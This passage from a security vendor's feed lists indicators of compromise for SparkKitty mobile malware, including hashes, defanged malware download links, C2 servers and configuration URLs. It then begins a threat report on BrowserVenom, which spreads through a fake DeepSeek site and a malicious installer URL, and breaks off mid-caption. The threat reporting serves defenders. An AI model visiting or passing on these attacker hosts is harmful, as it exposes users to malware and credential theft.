<a href="https://opentip.kaspersky.com/44bc648d1c10bc88f9b6ad78d3e3f967/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______54819bbba8750d6c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">44bc648d1c10bc88f9b6ad78d3e3f967</a><br />
<a href="https://opentip.kaspersky.com/0d7ed6df0e0cd9b5b38712d17857c824/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______afa1d9fda9bd991b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0d7ed6df0e0cd9b5b38712d17857c824</a><br />
<a href="https://opentip.kaspersky.com/b0eda03d7e4265fe280360397c042494/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b26ec96c3d9f9886&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">b0eda03d7e4265fe280360397c042494</a><br />
<a href="https://opentip.kaspersky.com/fd4558a9b629b5abe65a649b57bef20c/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______556f80c3f5173542&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">fd4558a9b629b5abe65a649b57bef20c</a><br />
<a href="https://opentip.kaspersky.com/1b85522b964b38de67c5d2b670bb30b1/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b972f9ec924bbe98&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">1b85522b964b38de67c5d2b670bb30b1</a><br />
<a href="https://opentip.kaspersky.com/ec068e0fc6ffda97685237d8ab8a0f56/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8033b415de640701&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">ec068e0fc6ffda97685237d8ab8a0f56</a><br />
<a href="https://opentip.kaspersky.com/f10a4fdffc884089ae93b0372ff9d5d1/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______22ab03039277bcaa&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f10a4fdffc884089ae93b0372ff9d5d1</a><br />
<a href="https://opentip.kaspersky.com/3388b5ea9997328eb48977ab351ca8de/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______0003e79d307fdf8b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">3388b5ea9997328eb48977ab351ca8de</a><br />
<a href="https://opentip.kaspersky.com/931085b04c0b6e23185025b69563d2ce/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2f698af240bc2b51&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">931085b04c0b6e23185025b69563d2ce</a><br />
<a href="https://opentip.kaspersky.com/7e6324efc3acdb423f8e3b50edd5c5e5/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4f7345241e841e6d&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">7e6324efc3acdb423f8e3b50edd5c5e5</a><br />
<a href="https://opentip.kaspersky.com/8cfc8081559008585b4e4a23cd4e1a7f/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c7e594588078df73&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">8cfc8081559008585b4e4a23cd4e1a7f</a></p>
<h3 id="obfuscated-malicious-ios-libraries">Obfuscated malicious iOS libraries</h3>
<p><a href="https://opentip.kaspersky.com/0b7891114d3b322ee863e4eef94d8523/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______9377ae996c980a6a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0b7891114d3b322ee863e4eef94d8523</a><br />
<a href="https://opentip.kaspersky.com/0d09c4f956bb734586cee85887ed5407/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______86441942068f881f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0d09c4f956bb734586cee85887ed5407</a><br />
<a href="https://opentip.kaspersky.com/2accfc13aaf4fa389149c0a03ce0ee4b/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______841f84f72769b525&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">2accfc13aaf4fa389149c0a03ce0ee4b</a><br />
<a href="https://opentip.kaspersky.com/5b2e4ea7ab929c766c9c7359995cdde0/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______24f37156f1178593&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">5b2e4ea7ab929c766c9c7359995cdde0</a><br />
<a href="https://opentip.kaspersky.com/5e47604058722dae03f329a2e6693485/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______02f6f896fe385e3a&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">5e47604058722dae03f329a2e6693485</a><br />
<a href="https://opentip.kaspersky.com/9aeaf9a485a60dc3de0b26b060bc8218/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a2eb89c09f5c831f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">9aeaf9a485a60dc3de0b26b060bc8218</a><br />
<a href="https://opentip.kaspersky.com/21a257e3b51561e5ff20005ca8f0da65/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______73722979d670ba19&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">21a257e3b51561e5ff20005ca8f0da65</a><br />
<a href="https://opentip.kaspersky.com/0752edcf5fd61b0e4a1e01371ba605fd/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______665133434d360b0c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">0752edcf5fd61b0e4a1e01371ba605fd</a><br />
<a href="https://opentip.kaspersky.com/489217cca81823af56d141c985bb9b2c/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______0609d31a798a3737&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">489217cca81823af56d141c985bb9b2c</a><br />
<a href="https://opentip.kaspersky.com/b0976d46970314532bc118f522bb8a6f/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______907fedd1e44b4077&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">b0976d46970314532bc118f522bb8a6f</a><br />
<a href="https://opentip.kaspersky.com/f0460bdca0f04d3bd4fc59d73b52233b/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d72729c2f247a961&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f0460bdca0f04d3bd4fc59d73b52233b</a><br />
<a href="https://opentip.kaspersky.com/f0815908bafd88d71db660723b65fba4/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______12a62cdd551e6f67&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">f0815908bafd88d71db660723b65fba4</a><br />
<a href="https://opentip.kaspersky.com/6fe6885b8f6606b25178822d7894ac35/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ab87d30d60a71964&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">6fe6885b8f6606b25178822d7894ac35</a></p>
<h3 id="download-links-for-infected-apps">Download links for infected apps</h3>
<p><a href="https://opentip.kaspersky.com/https%3a%2f%2flt.laoqianf14.top%2fkjnn/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f97f8a3a7cf6e3ca&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://lt.laoqianf14[.]top/KJnn</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2flt.laoqianf15.top%2fkjnn/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______35e5c5f39b02d82e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://lt.laoqianf15[.]top/KJnn</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2flt.laoqianf51.top%2fkjnn/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c5281f5ff150fb18&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://lt.laoqianf51[.]top/KJnn</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fyjhjymfjnj.wyxbmh.cn%2f2kzos8%3fa45dd02ac%3dd4f42319a78b6605cabb5696bacb4677/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______be17db98193961d3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://yjhjymfjnj.wyxbmh[.]cn/2kzos8?a45dd02ac=d4f42319a78b6605cabb5696bacb4677</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fxt.xinqianf38.top%2frnzr/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e2f45dadfecda51e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://xt.xinqianf38[.]top/RnZr</a></p>
<h3 id="pages-distributing-trojans">Pages distributing Trojans</h3>
<p><a href="https://opentip.kaspersky.com/https%3a%2f%2faccgngrid.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4c12fb7150e5c0f1&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://accgngrid[.]com</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fbyteepic.vip/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______65be7022474a217c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://byteepic[.]vip</a></p>
<h3 id="c2-and-configuration-storage">C2 and configuration storage</h3>
<p>C2:<br />
<a href="https://opentip.kaspersky.com/23.249.28.88/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7c584064a13303bc&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">23.249.28[.]88</a><br />
<a href="https://opentip.kaspersky.com/120.79.8.107/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f5d8a357363127ca&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">120.79.8[.]107</a><br />
<a href="https://opentip.kaspersky.com/23.249.28.200/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______72098a7960daae1f&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">23.249.28[.]200</a><br />
<a href="https://opentip.kaspersky.com/47.119.171.161/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______046145040775168b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">47.119.171[.]161</a><br />
<a href="https://opentip.kaspersky.com/api.fxsdk.com/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a83fb595aff96bad&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">api.fxsdk.com</a></p>
<p>Configurations<br />
<a href="https://opentip.kaspersky.com/http%3a%2f%2f120.78.239.17%3a10011%2freq.txt/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ca183ea38cc46d43&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxp://120.78.239[.]17:10011/req.txt</a><br />
<a href="https://opentip.kaspersky.com/http%3a%2f%2f39.108.186.119%3a10011%2freq.txt/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______20e8fff841afecd5&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxp://39.108.186[.]119:10011/req.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fdhoss-2023.oss-cn-beijing.aliyuncs.com%2fpath%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______54d93c8539163e72&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://dhoss-2023.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fsdk-data-re.oss-accelerate.aliyuncs.com%2fjmuce7txrhnxbr5nj.txt/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1ee174513c79abfd&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fgitee.com%2fbbffipa%2fdata-group%2fraw%2fmaster%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e3a24370965a0ca1&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://gitee[.]com/bbffipa/data-group/raw/master/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fok2025-oss.oss-cn-shenzhen.aliyuncs.com%2fip%2ffm4j7awkef8yk/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______858f9bf5cc70040d&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://ok2025-oss.oss-cn-shenzhen.aliyuncs[.]com/ip/FM4J7aWKeF8yK</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2ffile-ht-2023.oss-cn-shenzhen.aliyuncs.com%2fpath%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1dabc56312afe2af&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://file-ht-2023.oss-cn-shenzhen.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fafwfiwjef-mgsdl-2023.oss-cn-shanghai.aliyuncs.com%2fpath%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1a239662ac7c4ab0&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://afwfiwjef-mgsdl-2023.oss-cn-shanghai.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fzx-afjweiofwe.oss-cn-beijing.aliyuncs.com%2fpath%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______88b6d9e298bee511&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://zx-afjweiofwe.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fdxifjew2.oss-cn-beijing.aliyuncs.com%2fpath%2f02wbufztuvxrtmgjh7uh/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______96a647d24cc9db77&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://dxifjew2.oss-cn-beijing.aliyuncs[.]com/path/02WBUfZTUvxrTMGjh7Uh</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fsdk-data-re.oss-accelerate.aliyuncs.com%2fjmuce7txrhnxbr5nj.txt/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1ee174513c79abfd&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://sdk-data-re.oss-accelerate.aliyuncs[.]com/JMUCe7txrHnxBr5nj.txt</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fdata-sdk2.oss-accelerate.aliyuncs.com%2ffile%2fsgtmnh951121/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2389c125d9ff745b&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://data-sdk2.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2f1111333.cn-bj.ufileos.com%2ffile%2fsgtmnh951121/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______5ef3275b8c4a2b8e&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://1111333[.]cn-bj.ufileos[.]com/file/SGTMnH951121</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2ftbetter-oss.oss-accelerate.aliyuncs.com%2fip%2fcf4j7awkef8ykvku/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c7aa5d7d83bb4334&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://tbetter-oss.oss-accelerate.aliyuncs[.]com/ip/CF4J7aWKeF8yKVKu</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fphoto-php-all.s3.ap-southeast-1.amazonaws.com%2fapp%2fdomain.json/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______25cca5cb055132af&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://photo-php-all.s3[.]ap-southeast-1.amazonaws[.]com/app/domain.json</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fc1mon-oss.oss-cn-hongkong.aliyuncs.com%2fj2a3swc2yasfq2/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______4d017ccfbd63ae72&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://c1mon-oss.oss-cn-hongkong.aliyuncs[.]com/J2A3SWc2YASfQ2</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2ftbetter-oss.oss-cn-guangzhou.aliyuncs.com%2fip%2fjz24j7aycengykvf2/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______ddedf3505162da6c&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://tbetter-oss.oss-cn-guangzhou.aliyuncs[.]com/ip/JZ24J7aYCeNGyKVF2</a><br />
<a href="https://opentip.kaspersky.com/https%3a%2f%2fdata-sdk.oss-accelerate.aliyuncs.com%2ffile%2fsgtmnh951121/?icid=gl_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______f56690db63e0ef13&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">hxxps://data-sdk.oss-accelerate.aliyuncs[.]com/file/SGTMnH951121</a></p>
<h3 id="paths">Paths</h3>
<p>/sdcard/aray/cache/devices/.DEVICES</p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/sparkkitty-ios-android-malware/116793/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23070415/SL-SparkKitty-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23070415/SL-SparkKitty-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23070415/SL-SparkKitty-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/23070415/SL-SparkKitty-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>Toxic trend: Another malware threat targets DeepSeek</title>
<link>https://securelist.com/browservenom-mimicks-deepseek-to-use-malicious-proxy/115728/</link>
<comments>https://securelist.com/browservenom-mimicks-deepseek-to-use-malicious-proxy/115728/#respond</comments>
<dc:creator><![CDATA[Lisandro Ubiedo]]></dc:creator>
<pubDate>Wed, 11 Jun 2025 10:00:50 +0000</pubDate>
<category><![CDATA[GReAT research]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Microsoft Windows]]></category>
<category><![CDATA[Google Chrome]]></category>
<category><![CDATA[JavaScript]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Encryption]]></category>
<category><![CDATA[CAPTCHA]]></category>
<category><![CDATA[PowerShell]]></category>
<category><![CDATA[Browser]]></category>
<category><![CDATA[Phishing websites]]></category>
<category><![CDATA[Defense evasion]]></category>
<category><![CDATA[LLM]]></category>
<category><![CDATA[AI]]></category>
<category><![CDATA[DeepSeek]]></category>
<category><![CDATA[Windows malware]]></category>
<category><![CDATA[Web threats]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=115728</guid>
<description><![CDATA[Kaspersky GReAT experts discovered a new malicious implant: BrowserVenom. It enables a proxy in browsers like Chrome and Mozilla and spreads through a DeepSeek-mimicking phishing website.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/11094352/browservenom-deepseek-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><h2 id="introduction">Introduction</h2>
<p>DeepSeek-R1 is one of the most popular LLMs right now. Users of all experience levels look for chatbot websites on search engines, and threat actors have started abusing the popularity of LLMs. We previously <a href="https://securelist.com/backdoors-and-stealers-prey-on-deepseek-and-grok/115801/" target="_blank" rel="noopener">reported attacks with malware</a> being spread under the guise of DeepSeek to attract victims. The malicious domains spread through X posts and general browsing.</p>
<p>But lately, threat actors have begun using malvertising to exploit the demand for chatbots. For instance, we have recently discovered a new malicious campaign distributing previously unknown malware through a fake DeepSeek-R1 LLM environment installer. The malware is delivered via a phishing site that masquerades as the official DeepSeek homepage. The website was promoted in the search results via Google Ads. The attacks ultimately aim to install <strong>BrowserVenom</strong>, an implant that reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to manipulate the victim’s network traffic and collect data.</p>
<h2 id="phishing-lure">Phishing lure</h2>
<p>The infection was launched from a phishing site, located at <code>https[:]//deepseek-platform[.]com</code>. It was spread via malvertising, intentionally placed as the top result when a user searched for “deepseek r1”, thus taking advantage of the model’s popularity. Once the user reaches the site, a check is performed to identify the victim’s operating system. If the user is running Windows, they will be presented with only one active button, “Try now”. We have also seen layouts for other operating systems with slight changes in wording, but all mislead the user into clicking the button.</p>
<div id="attachment_116767" style="width: 1884px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116767" class="size-full wp-image-116767" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1.png" alt="Malicious website mimicking DeepSeek" width="1874" height="2048" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1.png 1874w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-275x300.png 275w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-937x1024.png 937w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-768x839.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-1406x1536.png 1406w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-320x350.png 320w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-740x809.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-256x280.png 256w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10104807/browservenom-mimicks1-800x874.png 800w" sizes="auto, (max-width: 1874px) 100vw, 1874px" /></a><p id="caption-attachment-116767" class="wp-caption-text">Malicious website mimicking DeepSeek</p></div>
<p>Clicking this button will take the user to a CAPTCHA anti-bot screen. The code for this screen is obfuscated JavaScript, which performs a series of checks to make sure that the user is not a bot. We found other scripts on the same malicious domain signaling that this is not the first iteration of such campaigns. After successfully solving the CAPTCHA, the user is redirected to the <code>proxy1.php</code> URL path with a “Download now” button. Clicking that results in downloading the malicious installer named <code>AI_Launcher_1.21.exe</code> from the following URL: <code>https://r1deepseek-ai[.]com/gg/cc/AI_Launcher_1.21.exe</code>.</p>
<p>We examined the source code of both the phishing and distribution websites and discovered comments in Russian related to the websites’ functionality, which suggests that they are developed by Russian-speaking threat actors.</p>
<h2 id="malicious-installer">Malicious installer</h2>
<p>The malicious installer <code>AI_Launcher_1.21.exe</code> is the launcher for the next-stage malware. Once this binary is executed, it opens a window that mimics a Cloudflare CAPTCHA.</p>
<div id="attachment_116768" style="width: 1290px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116768" class="size-full wp-image-116768" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2.png" alt="The second fake CAPTCHA" width="1280" height="1024" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2.png 1280w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-300x240.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-1024x819.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-768x614.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-500x400.png 500w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-438x350.png 438w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-740x592.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-350x280.png 350w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110326/browservenom-mimicks2-800x640.png 800w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /></a><p id="caption-attachment-116768" class="wp-caption-text">The second fake CAPTCHA</p></div>
<p>This is another fake CAPTCHA that is loaded from <code>https[:]//casoredkff[.]pro/captcha</code>. After the checkbox is ticked, the URL is appended with <code>/success</code>, and the user is presented with the following screen, offering the options to download and install Ollama and LM Studio.</p>
<div id="attachment_116769" style="width: 2058px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116769" class="size-full wp-image-116769" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3.png" alt="Two options to install abused LLM frameworks" width="2048" height="924" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-300x135.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-1024x462.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-768x347.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-1536x693.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-776x350.png 776w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-740x334.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-621x280.png 621w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/10110438/browservenom-mimicks3-800x361.png 800w" sizes="auto, (max-width: 2048px) 100vw, 2048px" /></a><p id="caption-attachment-116769" 